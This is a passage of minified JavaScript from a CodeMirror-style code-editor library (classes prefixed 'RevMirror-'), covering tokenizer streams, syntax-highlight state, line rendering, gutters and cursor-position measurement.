r=e.curOp.cursorActivityHandlers||(e.curOp.cursorActivityHandlers=[]),n=0;n<t.length;++n)-1==B(r,t[n])&&r.push(t[n])}function st(e,t){return 0<rt(e,t).length}function at(e){e.prototype.on=function(e,t){tt(this,e,t)},e.prototype.off=function(e,t){nt(this,e,t)}}function ut(e){e.preventDefault?e.preventDefault():e.returnValue=!1}function ct(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0}function ht(e){return null!=e.defaultPrevented?e.defaultPrevented:0==e.returnValue}function ft(e){ut(e),ct(e)}function dt(e){return e.target||e.srcElement}function pt(e){var t=e.which;return null==t&&(1&e.button?t=1:2&e.button?t=3:4&e.button&&(t=2)),w&&e.ctrlKey&&1==t&&(t=3),t}var gt,vt,mt=function(){if(x&&C<9)return!1;var e=A("div");return"draggable"in e||"dragDrop"in e}();function yt(e){if(null==gt){var t=A("span","​");N(e,A("span",[t,document.createTextNode("x")])),0!=e.firstChild.offsetHeight&&(gt=t.offsetWidth<=1&&2<t.offsetHeight&&!(x&&C<8))}var r=gt?A("span","​"):A("span"," ",null,"display: inline-block; width: 1px; margin-right: -1px");return r.setAttribute("cm-text",""),r}function bt(e){if(null!=vt)return vt;var t=N(e,document.createTextNode("AخA")),r=k(t,0,1).getBoundingClientRect(),n=k(t,1,2).getBoundingClientRect();return M(e),!(!r||r.left==r.right)&&(vt=n.right-r.right<3)}var wt,xt=3!="\n\nb".split(/\n/).length?function(e){for(var t=0,r=[],n=e.length;t<=n;){var i=e.indexOf("\n",t);-1==i&&(i=e.length);var o=e.slice(t,"\r"==e.charAt(i-1)?i-1:i),l=o.indexOf("\r");-1!=l?(r.push(o.slice(0,l)),t+=l+1):(r.push(o),t=i+1)}return r}:function(e){return e.split(/\r\n?|\n/)},Ct=window.getSelection?function(e){try{return e.selectionStart!=e.selectionEnd}catch(e){return!1}}:function(e){var t;try{t=e.ownerDocument.selection.createRange()}catch(e){}return!(!t||t.parentElement()!=e)&&0!=t.compareEndPoints("StartToEnd",t)},St="oncopy"in(wt=A("div"))||(wt.setAttribute("oncopy","return;"),"function"==typeof wt.oncopy),Lt=null;var kt={},Tt={};function Mt(e){if("string"==typeof e&&Tt.hasOwnProperty(e))e=Tt[e];else if(e&&"string"==typeof e.name&&Tt.hasOwnProperty(e.name)){var t=Tt[e.name];"string"==typeof t&&(t={name:t}),(e=Q(t,e)).name=t.name}else{if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+xml$/.test(e))return Mt("application/xml");if("string"==typeof e&&/^[\w\-]+\/[\w\-]+\+json$/.test(e))return Mt("application/json")}return"string"==typeof e?{name:e}:e||{name:"null"}}function Nt(e,t){t=Mt(t);var r=kt[t.name];if(!r)return Nt(e,"text/plain");var n=r(e,t);if(Ot.hasOwnProperty(t.name)){var i=Ot[t.name];for(var o in i)i.hasOwnProperty(o)&&(n.hasOwnProperty(o)&&(n["_"+o]=n[o]),n[o]=i[o])}if(n.name=t.name,t.helperType&&(n.helperType=t.helperType),t.modeProps)for(var l in t.modeProps)n[l]=t.modeProps[l];return n}var Ot={};function At(e,t){I(t,Ot.hasOwnProperty(e)?Ot[e]:Ot[e]={})}function Dt(e,t){if(!0===t)return t;if(e.copyState)return e.copyState(t);var r={};for(var n in t){var i=t[n];i instanceof Array&&(i=i.concat([])),r[n]=i}return r}function Wt(e,t){for(var r;e.innerMode&&(r=e.innerMode(t))&&r.mode!=e;)t=r.state,e=r.mode;return r||{mode:e,state:t}}function Ht(e,t,r){return!e.startState||e.startState(t,r)}var Ft=function(e,t,r){this.pos=this.start=0,this.string=e,this.tabSize=t||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0,this.lineOracle=r};Ft.prototype.eol=function(){return this.pos>=this.string.length},Ft.prototype.sol=function(){return this.pos==this.lineStart},Ft.prototype.peek=function(){return this.string.charAt(this.pos)||void 0},Ft.prototype.next=function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},Ft.prototype.eat=function(e){var t=this.string.charAt(this.pos);if("string"==typeof e?t==e:t&&(e.test?e.test(t):e(t)))return++this.pos,t},Ft.prototype.eatWhile=function(e){for(var t=this.pos;this.eat(e););return this.pos>t},Ft.prototype.eatSpace=function(){for(var e=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>e},Ft.prototype.skipToEnd=function(){this.pos=this.string.length},Ft.prototype.skipTo=function(e){var t=this.string.indexOf(e,this.pos);if(-1<t)return this.pos=t,!0},Ft.prototype.backUp=function(e){this.pos-=e},Ft.prototype.column=function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=z(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?z(this.string,this.lineStart,this.tabSize):0)},Ft.prototype.indentation=function(){return z(this.string,null,this.tabSize)-(this.lineStart?z(this.string,this.lineStart,this.tabSize):0)},Ft.prototype.match=function(e,t,r){if("string"!=typeof e){var n=this.string.slice(this.pos).match(e);return n&&0<n.index?null:(n&&!1!==t&&(this.pos+=n[0].length),n)}var i=function(e){return r?e.toLowerCase():e};if(i(this.string.substr(this.pos,e.length))==i(e))return!1!==t&&(this.pos+=e.length),!0},Ft.prototype.current=function(){return this.string.slice(this.start,this.pos)},Ft.prototype.hideFirstChars=function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}},Ft.prototype.lookAhead=function(e){var t=this.lineOracle;return t&&t.lookAhead(e)},Ft.prototype.baseToken=function(){var e=this.lineOracle;return e&&e.baseToken(this.pos)};var Pt=function(e,t){this.state=e,this.lookAhead=t},Et=function(e,t,r,n){this.state=t,this.doc=e,this.line=r,this.maxLookAhead=n||0,this.baseTokens=null,this.baseTokenPos=1};function It(t,r,n,e){var a=[t.state.modeGen],i={};Xt(t,r.text,t.doc.mode,n,function(e,t){return a.push(e,t)},i,e);for(var u=n.state,o=function(e){n.baseTokens=a;var o=t.state.overlays[e],l=1,s=0;n.state=!0,Xt(t,r.text,o.mode,n,function(e,t){for(var r=l;s<e;){var n=a[l];e<n&&a.splice(l,1,e,a[l+1],n),l+=2,s=Math.min(e,n)}if(t)if(o.opaque)a.splice(r,l-r,e,"overlay "+t),l=r+2;else for(;r<l;r+=2){var i=a[r+1];a[r+1]=(i?i+" ":"")+"overlay "+t}},i),n.state=u,n.baseTokens=null,n.baseTokenPos=1},l=0;l<t.state.overlays.length;++l)o(l);return{styles:a,classes:i.bgClass||i.textClass?i:null}}function zt(e,t,r){if(!t.styles||t.styles[0]!=e.state.modeGen){var n=Rt(e,fe(t)),i=t.text.length>e.options.maxHighlightLength&&Dt(e.doc.mode,n.state),o=It(e,t,n);i&&(n.state=i),t.stateAfter=n.save(!i),t.styles=o.styles,o.classes?t.styleClasses=o.classes:t.styleClasses&&(t.styleClasses=null),r===e.doc.highlightFrontier&&(e.doc.modeFrontier=Math.max(e.doc.modeFrontier,++e.doc.highlightFrontier))}return t.styles}function Rt(r,n,e){var t=r.doc,i=r.display;if(!t.mode.startState)return new Et(t,!0,n);var o=function(e,t,r){for(var n,i,o=e.doc,l=r?-1:t-(e.doc.mode.innerMode?1e3:100),s=t;l<s;--s){if(s<=o.first)return o.first;var a=ae(o,s-1),u=a.stateAfter;if(u&&(!r||s+(u instanceof Pt?u.lookAhead:0)<=o.modeFrontier))return s;var c=z(a.text,null,e.options.tabSize);(null==i||c<n)&&(i=s-1,n=c)}return i}(r,n,e),l=o>t.first&&ae(t,o-1).stateAfter,s=l?Et.fromSaved(t,l,o):new Et(t,Ht(t.mode),o);return t.iter(o,n,function(e){Bt(r,e.text,s);var t=s.line;e.stateAfter=t==n-1||t%5==0||t>=i.viewFrom&&t<i.viewTo?s.save():null,s.nextLine()}),e&&(t.modeFrontier=s.line),s}function Bt(e,t,r,n){var i=e.doc.mode,o=new Ft(t,e.options.tabSize,r);for(o.start=o.pos=n||0,""==t&&Gt(i,r.state);!o.eol();)Ut(i,o,r.state),o.start=o.pos}function Gt(e,t){if(e.blankLine)return e.blankLine(t);if(e.innerMode){var r=Wt(e,t);return r.mode.blankLine?r.mode.blankLine(r.state):void 0}}function Ut(e,t,r,n){for(var i=0;i<10;i++){n&&(n[0]=Wt(e,r).mode);var o=e.token(t,r);if(t.pos>t.start)return o}throw new Error("Mode "+e.name+" failed to advance stream.")}Et.prototype.lookAhead=function(e){var t=this.doc.getLine(this.line+e);return null!=t&&e>this.maxLookAhead&&(this.maxLookAhead=e),t},Et.prototype.baseToken=function(e){if(!this.baseTokens)return null;for(;this.baseTokens[this.baseTokenPos]<=e;)this.baseTokenPos+=2;var t=this.baseTokens[this.baseTokenPos+1];return{type:t&&t.replace(/( |^)overlay .*/,""),size:this.baseTokens[this.baseTokenPos]-e}},Et.prototype.nextLine=function(){this.line++,0<this.maxLookAhead&&this.maxLookAhead--},Et.fromSaved=function(e,t,r){return t instanceof Pt?new Et(e,Dt(e.mode,t.state),r,t.lookAhead):new Et(e,Dt(e.mode,t),r)},Et.prototype.save=function(e){var t=!1!==e?Dt(this.doc.mode,this.state):this.state;return 0<this.maxLookAhead?new Pt(t,this.maxLookAhead):t};var Vt=function(e,t,r){this.start=e.start,this.end=e.pos,this.string=e.current(),this.type=t||null,this.state=r};function Kt(e,t,r,n){var i,o,l=e.doc,s=l.mode,a=ae(l,(t=Se(l,t)).line),u=Rt(e,t.line,r),c=new Ft(a.text,e.options.tabSize,u);for(n&&(o=[]);(n||c.pos<t.ch)&&!c.eol();)c.start=c.pos,i=Ut(s,c,u.state),n&&o.push(new Vt(c,i,Dt(l.mode,u.state)));return n?o:new Vt(c,i,u.state)}function jt(e,t){if(e)for(;;){var r=e.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!r)break;e=e.slice(0,r.index)+e.slice(r.index+r[0].length);var n=r[1]?"bgClass":"textClass";null==t[n]?t[n]=r[2]:new RegExp("(?:^|s)"+r[2]+"(?:$|s)").test(t[n])||(t[n]+=" "+r[2])}return e}function Xt(e,t,r,n,i,o,l){var s=r.flattenSpans;null==s&&(s=e.options.flattenSpans);var a,u=0,c=null,h=new Ft(t,e.options.tabSize,n),f=e.options.addModeClass&&[null];for(""==t&&jt(Gt(r,n.state),o);!h.eol();){if(h.pos>e.options.maxHighlightLength?(s=!1,l&&Bt(e,t,n,h.pos),h.pos=t.length,a=null):a=jt(Ut(r,h,n.state,f),o),f){var d=f[0].name;d&&(a="m-"+(a?d+" "+a:d))}if(!s||c!=a){for(;u<h.start;)i(u=Math.min(h.start,u+5e3),c);c=a}h.start=h.pos}for(;u<h.pos;){var p=Math.min(h.pos,u+5e3);i(p,c),u=p}}var Yt=function(e,t,r){this.text=e,He(this,t),this.height=r?r(this):1};Yt.prototype.lineNo=function(){return fe(this)},at(Yt);var _t={},$t={};function qt(e,t){if(!e||/^\s*$/.test(e))return null;var r=t.addModeClass?$t:_t;return r[e]||(r[e]=e.replace(/\S+/g,"cm-$&"))}function Zt(e,t){var r=O("span",null,null,b?"padding-right: .1px":null),n={pre:O("pre",[r],"RevMirror-line"),content:r,col:0,pos:0,cm:e,trailingSpace:!1,splitSpaces:(x||b)&&e.getOption("lineWrapping")};t.measure={};for(var i=0;i<=(t.rest?t.rest.length:0);i++){var o=i?t.rest[i-1]:t.line,l=void 0;n.pos=0,n.addToken=Jt,bt(e.display.measure)&&(l=Je(o,e.doc.direction))&&(n.addToken=er(n.addToken,l)),n.map=[],rr(o,n,zt(e,o,t!=e.display.externalMeasured&&fe(o))),o.styleClasses&&(o.styleClasses.bgClass&&(n.bgClass=F(o.styleClasses.bgClass,n.bgClass||"")),o.styleClasses.textClass&&(n.textClass=F(o.styleClasses.textClass,n.textClass||""))),0==n.map.length&&n.map.push(0,0,n.content.appendChild(yt(e.display.measure))),0==i?(t.measure.map=n.map,t.measure.cache={}):((t.measure.maps||(t.measure.maps=[])).push(n.map),(t.measure.caches||(t.measure.caches=[])).push({}))}if(b){var s=n.content.lastChild;(/\bcm-tab\b/.test(s.className)||s.querySelector&&s.querySelector(".cm-tab"))&&(n.content.className="cm-tab-wrap-hack")}return it(e,"renderLine",e,t.line,n.pre),n.pre.className&&(n.textClass=F(n.pre.className,n.textClass||"")),n}function Qt(e){var t=A("span","•","cm-invalidchar");return t.title="\\u"+e.charCodeAt(0).toString(16),t.setAttribute("aria-label",t.title),t}function Jt(e,t,r,n,i,o,l){if(t){var s,a=e.splitSpaces?function(e,t){if(1<e.length&&!/  /.test(e))return e;for(var r=t,n="",i=0;i<e.length;i++){var o=e.charAt(i);" "!=o||!r||i!=e.length-1&&32!=e.charCodeAt(i+1)||(o=" "),n+=o,r=" "==o}return n}(t,e.trailingSpace):t,u=e.cm.state.specialChars,c=!1;if(u.test(t)){s=document.createDocumentFragment();for(var h=0;;){u.lastIndex=h;var f=u.exec(t),d=f?f.index-h:t.length-h;if(d){var p=document.createTextNode(a.slice(h,h+d));x&&C<9?s.appendChild(A("span",[p])):s.appendChild(p),e.map.push(e.pos,e.pos+d,p),e.col+=d,e.pos+=d}if(!f)break;h+=d+1;var g=void 0;if("\t"==f[0]){var v=e.cm.options.tabSize,m=v-e.col%v;(g=s.appendChild(A("span",_(m),"cm-tab"))).setAttribute("role","presentation"),g.setAttribute("cm-text","\t"),e.col+=m}else"\r"==f[0]||"\n"==f[0]?(g=s.appendChild(A("span","\r"==f[0]?"␍":"␤","cm-invalidchar"))).setAttribute("cm-text",f[0]):((g=e.cm.options.specialCharPlaceholder(f[0])).setAttribute("cm-text",f[0]),x&&C<9?s.appendChild(A("span",[g])):s.appendChild(g)),e.col+=1;e.map.push(e.pos,e.pos+1,g),e.pos++}}else e.col+=t.length,s=document.createTextNode(a),e.map.push(e.pos,e.pos+t.length,s),x&&C<9&&(c=!0),e.pos+=t.length;if(e.trailingSpace=32==a.charCodeAt(t.length-1),r||n||i||c||l){var y=r||"";n&&(y+=n),i&&(y+=i);var b=A("span",[s],y,l);return o&&(b.title=o),e.content.appendChild(b)}e.content.appendChild(s)}}function er(h,f){return function(e,t,r,n,i,o,l){r=r?r+" cm-force-border":"cm-force-border";for(var s=e.pos,a=s+t.length;;){for(var u=void 0,c=0;c<f.length&&!((u=f[c]).to>s&&u.from<=s);c++);if(u.to>=a)return h(e,t,r,n,i,o,l);h(e,t.slice(0,u.to-s),r,n,null,o,l),n=null,t=t.slice(u.to-s),s=u.to}}}function tr(e,t,r,n){var i=!n&&r.widgetNode;i&&e.map.push(e.pos,e.pos+t,i),!n&&e.cm.display.input.needsContentAttribute&&(i||(i=e.content.appendChild(document.createElement("span"))),i.setAttribute("cm-marker",r.id)),i&&(e.cm.display.input.setUneditable(i),e.content.appendChild(i)),e.pos+=t,e.trailingSpace=!1}function rr(e,t,r){var n=e.markedSpans,i=e.text,o=0;if(n)for(var l,s,a,u,c,h,f,d=i.length,p=0,g=1,v="",m=0;;){if(m==p){a=u=c=h=s="",f=null,m=1/0;for(var y=[],b=void 0,w=0;w<n.length;++w){var x=n[w],C=x.marker;"bookmark"==C.type&&x.from==p&&C.widgetNode?y.push(C):x.from<=p&&(null==x.to||x.to>p||C.collapsed&&x.to==p&&x.from==p)?(null!=x.to&&x.to!=p&&m>x.to&&(m=x.to,u=""),C.className&&(a+=" "+C.className),C.css&&(s=(s?s+";":"")+C.css),C.startStyle&&x.from==p&&(c+=" "+C.startStyle),C.endStyle&&x.to==m&&(b||(b=[])).push(C.endStyle,x.to),C.title&&!h&&(h=C.title),C.collapsed&&(!f||Ee(f.marker,C)<0)&&(f=x)):x.from>p&&m>x.from&&(m=x.from)}if(b)for(var S=0;S<b.length;S+=2)b[S+1]==m&&(u+=" "+b[S]);if(!f||f.from==p)for(var L=0;L<y.length;++L)tr(t,0,y[L]);if(f&&(f.from||0)==p){if(tr(t,(null==f.to?d+1:f.to)-p,f.marker,null==f.from),null==f.to)return;f.to==p&&(f=!1)}}if(d<=p)break;for(var k=Math.min(d,m);;){if(v){var T=p+v.length;if(!f){var M=k<T?v.slice(0,k-p):v;t.addToken(t,M,l?l+a:a,c,p+M.length==m?u:"",h,s)}if(k<=T){v=v.slice(k-p),p=k;break}p=T,c=""}v=i.slice(o,o=r[g++]),l=qt(r[g++],t.cm.options)}}else for(var N=1;N<r.length;N+=2)t.addToken(t,i.slice(o,o=r[N]),qt(r[N+1],t.cm.options))}function nr(e,t,r){this.line=t,this.rest=function(e){for(var t,r;t=Re(e);)e=t.find(1,!0).line,(r||(r=[])).push(e);return r}(t),this.size=this.rest?fe($(this.rest))-r+1:1,this.node=this.text=null,this.hidden=je(e,t)}function ir(e,t,r){for(var n,i=[],o=t;o<r;o=n){var l=new nr(e.doc,ae(e.doc,o),o);n=o+l.size,i.push(l)}return i}var or=null;var lr=null;function sr(e,t){var r=rt(e,t);if(r.length){var n,i=Array.prototype.slice.call(arguments,2);or?n=or.delayedCallbacks:lr?n=lr:(n=lr=[],setTimeout(ar,0));for(var o=function(e){n.push(function(){return r[e].apply(null,i)})},l=0;l<r.length;++l)o(l)}}function ar(){var e=lr;lr=null;for(var t=0;t<e.length;++t)e[t]()}function ur(e,t,r,n){for(var i=0;i<t.changes.length;i++){var o=t.changes[i];"text"==o?fr(e,t):"gutter"==o?pr(e,t,r,n):"class"==o?dr(e,t):"widget"==o&&gr(e,t,n)}t.changes=null}function cr(e){return e.node==e.text&&(e.node=A("div",null,null,"position: relative"),e.text.parentNode&&e.text.parentNode.replaceChild(e.node,e.text),e.node.appendChild(e.text),x&&C<8&&(e.node.style.zIndex=2)),e.node}function hr(e,t){var r=e.display.externalMeasured;return r&&r.line==t.line?(e.display.externalMeasured=null,t.measure=r.measure,r.built):Zt(e,t)}function fr(e,t){var r=t.text.className,n=hr(e,t);t.text==t.node&&(t.node=n.pre),t.text.parentNode.replaceChild(n.pre,t.text),t.text=n.pre,n.bgClass!=t.bgClass||n.textClass!=t.textClass?(t.bgClass=n.bgClass,t.textClass=n.textClass,dr(e,t)):r&&(t.text.className=r)}function dr(e,t){!function(e,t){var r=t.bgClass?t.bgClass+" "+(t.line.bgClass||""):t.line.bgClass;if(r&&(r+=" RevMirror-linebackground"),t.background)r?t.background.className=r:(t.background.parentNode.removeChild(t.background),t.background=null);else if(r){var n=cr(t);t.background=n.insertBefore(A("div",null,r),n.firstChild),e.display.input.setUneditable(t.background)}}(e,t),t.line.wrapClass?cr(t).className=t.line.wrapClass:t.node!=t.text&&(t.node.className="");var r=t.textClass?t.textClass+" "+(t.line.textClass||""):t.line.textClass;t.text.className=r||""}function pr(e,t,r,n){if(t.gutter&&(t.node.removeChild(t.gutter),t.gutter=null),t.gutterBackground&&(t.node.removeChild(t.gutterBackground),t.gutterBackground=null),t.line.gutterClass){var i=cr(t);t.gutterBackground=A("div",null,"RevMirror-gutter-background "+t.line.gutterClass,"left: "+(e.options.fixedGutter?n.fixedPos:-n.gutterTotalWidth)+"px; width: "+n.gutterTotalWidth+"px"),e.display.input.setUneditable(t.gutterBackground),i.insertBefore(t.gutterBackground,t.text)}var o=t.line.gutterMarkers;if(e.options.lineNumbers||o){var l=cr(t),s=t.gutter=A("div",null,"RevMirror-gutter-wrapper","left: "+(e.options.fixedGutter?n.fixedPos:-n.gutterTotalWidth)+"px");if(e.display.input.setUneditable(s),l.insertBefore(s,t.text),t.line.gutterClass&&(s.className+=" "+t.line.gutterClass),!e.options.lineNumbers||o&&o["RevMirror-linenumbers"]||(t.lineNumber=s.appendChild(A("div",ge(e.options,r),"RevMirror-linenumber RevMirror-gutter-elt","left: "+n.gutterLeft["RevMirror-linenumbers"]+"px; width: "+e.display.lineNumInnerWidth+"px"))),o)for(var a=0;a<e.options.gutters.length;++a){var u=e.options.gutters[a],c=o.hasOwnProperty(u)&&o[u];c&&s.appendChild(A("div",[c],"RevMirror-gutter-elt","left: "+n.gutterLeft[u]+"px; width: "+n.gutterWidth[u]+"px"))}}}function gr(e,t,r){t.alignable&&(t.alignable=null);for(var n=t.node.firstChild,i=void 0;n;n=i)i=n.nextSibling,"RevMirror-linewidget"==n.className&&t.node.removeChild(n);vr(e,t,r)}function vr(e,t,r){if(mr(e,t.line,t,r,!0),t.rest)for(var n=0;n<t.rest.length;n++)mr(e,t.rest[n],t,r,!1)}function mr(e,t,r,n,i){if(t.widgets)for(var o=cr(r),l=0,s=t.widgets;l<s.length;++l){var a=s[l],u=A("div",[a.node],"RevMirror-linewidget");a.handleMouseEvents||u.setAttribute("cm-ignore-events","true"),yr(a,u,r,n),e.display.input.setUneditable(u),i&&a.above?o.insertBefore(u,r.gutter||r.text):o.appendChild(u),sr(a,"redraw")}}function yr(e,t,r,n){if(e.noHScroll){(r.alignable||(r.alignable=[])).push(t);var i=n.wrapperWidth;t.style.left=n.fixedPos+"px",e.coverGutter||(i-=n.gutterTotalWidth,t.style.paddingLeft=n.gutterTotalWidth+"px"),t.style.width=i+"px"}e.coverGutter&&(t.style.zIndex=5,t.style.position="relative",e.noHScroll||(t.style.marginLeft=-n.gutterTotalWidth+"px"))}function br(e){if(null!=e.height)return e.height;var t=e.doc.cm;if(!t)return 0;if(!D(document.body,e.node)){var r="position: relative;";e.coverGutter&&(r+="margin-left: -"+t.display.gutters.offsetWidth+"px;"),e.noHScroll&&(r+="width: "+t.display.wrapper.clientWidth+"px;"),N(t.display.measure,A("div",[e.node],null,r))}return e.height=e.node.parentNode.offsetHeight}function wr(e,t){for(var r=dt(t);r!=e.wrapper;r=r.parentNode)if(!r||1==r.nodeType&&"true"==r.getAttribute("cm-ignore-events")||r.parentNode==e.sizer&&r!=e.mover)return!0}function xr(e){return e.lineSpace.offsetTop}function Cr(e){return e.mover.offsetHeight-e.lineSpace.offsetHeight}function Sr(e){if(e.cachedPaddingH)return e.cachedPaddingH;var t=N(e.measure,A("pre","x")),r=window.getComputedStyle?window.getComputedStyle(t):t.currentStyle,n={left:parseInt(r.paddingLeft),right:parseInt(r.paddingRight)};return isNaN(n.left)||isNaN(n.right)||(e.cachedPaddingH=n),n}function Lr(e){return G-e.display.nativeBarWidth}function kr(e){return e.display.scroller.clientWidth-Lr(e)-e.display.barWidth}function Tr(e){return e.display.scroller.clientHeight-Lr(e)-e.display.barHeight}function Mr(e,t,r){if(e.line==t)return{map:e.measure.map,cache:e.measure.cache};for(var n=0;n<e.rest.length;n++)if(e.rest[n]==t)return{map:e.measure.maps[n],cache:e.measure.caches[n]};for(var i=0;i<e.rest.length;i++)if(fe(e.rest[i])>r)return{map:e.measure.maps[i],cache:e.measure.caches[i],before:!0}}function Nr(e,t,r,n){return Dr(e,Ar(e,t),r,n)}function Or(e,t){if(t>=e.display.viewFrom&&t<e.display.viewTo)return e.display.view[sn(e,t)];var r=e.display.externalMeasured;return r&&t>=r.lineN&&t<r.lineN+r.size?r:void 0}function Ar(e,t){var r=fe(t),n=Or(e,r);n&&!n.text?n=null:n&&n.changes&&(ur(e,n,r,tn(e)),e.curOp.forceUpdate=!0),n||(n=function(e,t){var r=fe(t=Ue(t)),n=e.display.externalMeasured=new nr(e.doc,t,r);n.lineN=r;var i=n.built=Zt(e,n);return n.text=i.pre,N(e.display.lineMeasure,i.pre),n}(e,t));var i=Mr(n,t,r);return{line:t,view:n,rect:null,map:i.map,cache:i.cache,before:i.before,hasHeights:!1}}function Dr(e,t,r,n,i){t.before&&(r=-1);var o,l=r+(n||"");return t.cache.hasOwnProperty(l)?o=t.cache[l]:(t.rect||(t.rect=t.view.text.getBoundingClientRect()),t.hasHeights||(!function(e,t,r){var n=e.options.lineWrapping,i=n&&kr(e);if(!t.measure.heights||n&&t.measure.width!=i){var o=t.measure.heights=[];if(n){t.measure.width=i;for(var l=t.text.firstChild.getClientRects(),s=0;s<l.length-1;s++){var a=l[s],u=l[s+1];2<Math.abs(a.bottom-u.bottom)&&o.push((a.bottom+u.top)/2-r.top)}}o.push(r.bottom-r.top)}}(e,t.view,t.rect),t.hasHeights=!0),(o=function(e,t,r,n){var i,o=Fr(t.map,r,n),l=o.node,s=o.start,a=o.end,u=o.collapse;if(3==l.nodeType){for(var c=0;c<4;c++){for(;s&&ie(t.line.text.charAt(o.coverStart+s));)--s;for(;o.coverStart+a<o.coverEnd&&ie(t.line.text.charAt(o.coverStart+a));)++a;if((i=x&&C<9&&0==s&&a==o.coverEnd-o.coverStart?l.parentNode.getBoundingClientRect():Pr(k(l,s,a).getClientRects(),n)).left||i.right||0==s)break;a=s,s-=1,u="right"}x&&C<11&&(i=function(e,t){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!function(e){if(null!=Lt)return Lt;var t=N(e,A("span","x")),r=t.getBoundingClientRect(),n=k(t,0,1).getBoundingClientRect();return Lt=1<Math.abs(r.left-n.left)}(e))return t;var r=screen.logicalXDPI/screen.deviceXDPI,n=screen.logicalYDPI/screen.deviceYDPI;return{left:t.left*r,right:t.right*r,top:t.top*n,bottom:t.bottom*n}}(e.display.measure,i))}else{var h;0<s&&(u=n="right"),i=e.options.lineWrapping&&1<(h=l.getClientRects()).length?h["right"==n?h.length-1:0]:l.getBoundingClientRect()}if(x&&C<9&&!s&&(!i||!i.left&&!i.right)){var f=l.parentNode.getClientRects()[0];i=f?{left:f.left,right:f.left+en(e.display),top:f.top,bottom:f.bottom}:Hr}for(var d=i.top-t.rect.top,p=i.bottom-t.rect.top,g=(d+p)/2,v=t.view.measure.heights,m=0;m<v.length-1&&!(g<v[m]);m++);var y=m?v[m-1]:0,b=v[m],w={left:("right"==u?i.right:i.left)-t.rect.left,right:("left"==u?i.left:i.right)-t.rect.left,top:y,bottom:b};i.left||i.right||(w.bogus=!0);e.options.singleCursorHeightPerLine||(w.rtop=d,w.rbottom=p);return w}(e,t,r,n)).bogus||(t.cache[l]=o)),{left:o.left,right:o.right,top:i?o.rtop:o.top,bottom:i?o.rbottom:o.bottom}}var Wr,Hr={left:0,right:0,top:0,bottom:0};function Fr(e,t,r){for(var n,i,o,l,s,a,u=0;u<e.length;u+=3)if(s=e[u],a=e[u+1],t<s?(i=0,o=1,l="left"):t<a?o=(i=t-s)+1:(u==e.length-3||t==a&&e[u+3]>t)&&(i=(o=a-s)-1,a<=t&&(l="right")),null!=i){if(n=e[u+2],s==a&&r==(n.insertLeft?"left":"right")&&(l=r),"left"==r&&0==i)for(;u&&e[u-2]==e[u-3]&&e[u-1].insertLeft;)n=e[2+(u-=3)],l="left";if("right"==r&&i==a-s)for(;u<e.length-3&&e[u+3]==e[u+4]&&!e[u+5].insertLeft;)n=e[(u+=3)+2],l="right";break}return{node:n,start:i,end:o,collapse:l,coverStart:s,coverEnd:a}}function Pr(e,t){var r=Hr;if("left"==t)for(var n=0;n<e.length&&(r=e[n]).left==r.right;n++);else for(var i=e.length-1;0<=i&&(r=e[i]).left==r.right;i--);return r}function Er(e){if(e.measure&&(e.measure.cache={},e.measure.heights=null,e.rest))for(var t=0;t<e.rest.length;t++)e.measure.caches[t]={}}function Ir(e){e.display.externalMeasure=null,M(e.display.lineMeasure);for(var t=0;t<e.display.view.length;t++)Er(e.display.view[t])}function zr(e){Ir(e),e.display.cachedCharWidth=e.display.cachedTextHeight=e.display.cachedPaddingH=null,e.options.lineWrapping||(e.display.maxLineChanged=!0),e.display.lineNumChars=null}function Rr(){return l&&h?-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft)):window.pageXOffset||(document.documentElement||document.body).scrollLeft}function Br(){return l&&h?-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop)):window.pageYOffset||(document.documentElement||document.body).scrollTop}function Gr(e){var t=0;if(e.widgets)for(var r=0;r<e.widgets.length;++r)e.widgets[r].above&&(t+=br(e.widgets[r]));return t}function Ur(e,t,r,n,i){if(!i){var o=Gr(t);r.top+=o,r.bottom+=o}if("line"==n)return r;n||(n="local");var l=Ye(t);if("local"==n?l+=xr(e.display):l-=e.display.viewOffset,"page"==n||"window"==n){var s=e.display.lineSpace.getBoundingClientRect();l+=s.top+("window"==n?0:Br());var a=s.left+("window"==n?0:Rr());r.left+=a,r.right+=a}return r.top+=l,r.bottom+=l,r}function Vr(e,t,r){if("div"==r)return t;var n=t.left,i=t.top;if("page"==r)n-=Rr(),i-=Br();else if("local"==r||!r){var o=e.display.sizer.getBoundingClientRect();n+=o.left,i+=o.top}var l=e.display.lineSpace.getBoundingClientRect();return{left:n-l.left,top:i-l.top}}function Kr(e,t,r,n,i){return n||(n=ae(e.doc,t.line)),Ur(e,n,Nr(e,n,t.ch,i),r)}function jr(n,e,i,o,l,s){function a(e,t){var r=Dr(n,l,e,t?"right":"left",s);return t?r.left=r.right:r.right=r.left,Ur(n,o,r,i)}o=o||ae(n.doc,e.line),l||(l=Ar(n,o));var u=Je(o,n.doc.direction),t=e.ch,r=e.sticky;if(t>=o.text.length?(t=o.text.length,r="before"):t<=0&&(t=0,r="after"),!u)return a("before"==r?t-1:t,"before"==r);function c(e,t,r){return a(r?e-1:e,1==u[t].level!=r)}var h=Ze(u,t,r),f=qe,d=c(t,h,"before"==r);return null!=f&&(d.other=c(t,f,"before"!=r)),d}function Xr(e,t){var r=0;t=Se(e.doc,t),e.options.lineWrapping||(r=en(e.display)*t.ch);var n=ae(e.doc,t.line),i=Ye(n)+xr(e.display);return{left:r,right:r,top:i,bottom:i+n.height}}function Yr(e,t,r,n,i){var o=ve(e,t,r);return o.xRel=i,n&&(o.outside=!0),o}function _r(e,t,r){var n=e.doc;if((r+=e.display.viewOffset)<0)return Yr(n.first,0,null,!0,-1);var i=de(n,r),o=n.first+n.size-1;if(o<i)return Yr(n.first+n.size-1,ae(n,o).text.length,null,!0,1);t<0&&(t=0);for(var l=ae(n,i);;){var s=Qr(e,l,i,t,r),a=Be(l,s.ch+(0<s.xRel?1:0));if(!a)return s;var 